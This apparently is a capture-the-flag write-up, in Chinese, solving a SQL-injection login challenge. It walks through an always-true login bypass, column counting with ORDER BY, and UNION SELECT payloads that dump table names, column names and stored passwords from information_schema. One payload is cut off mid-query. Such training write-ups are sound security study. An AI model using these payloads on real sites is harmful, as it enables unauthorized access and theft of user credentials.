一、题目简介
进入题目连接是一个「登录」界面
登录「成功」会显示当前用户的账号和密码
登录「失败」则会则会提示错误的用户名和密码
二、思路分析
这一关是「SQL注入」漏洞,注入点为单引号字符型注入,推荐使用「联合注入」
看到登录功能,第一反应就是SQL注入,先尝一下「万能账号」,依次尝试各种类型的万能账号。点击链接查看《万能账号密码使用详解》
单引号字符型的万能账号登录「成功」
页面有「显示位」,推荐使用联合注入,这一关没有过滤,判断字段数以后直接脱库即可
三、解题步骤
1)判断注入点
使用万能账号判断「注入点」,payload如下
账号输入a' or true -- a
密码随便输入 111
2)判断字段数
使用 order by 排序判断显示位的「字段数」
账号依次输入
a’ or true order by 1 – a
a’ or true order by 2 – a
a’ or true order by 3 – a
a’ or true order by 4 – a
密码随便输入 111
排序到 4 时报错,说明字段数为 3
3)获取所有表
CFT有个不成文的「规矩」,SQL注入漏洞中,flag通常会放在当前使用的数据库中。我们直接获取当前数据库的表即可
- 用户名输入以下payload
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3
- 密码随便输入
111
拿到两个表名 geekuser、l0ve1ysq1,flag在第二个表中
4)获取字段
获取 l0ve1ysq1 表的所有「字段」
- 用户名输入以下payload
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and
- 密码随便输入
111
拿到 3 个字段 id,username,password,flag 就在 password 字段中
5)获取flag
查询 l0ve1ysq1 表的 password 字段,获取 「flag」
- 用户名输入以下payload
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a
密码随便输入 111
拿到 n 个数据
页面不方便查看,可以右键查看「网页源代码」
夺旗成功!
四、总结
喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全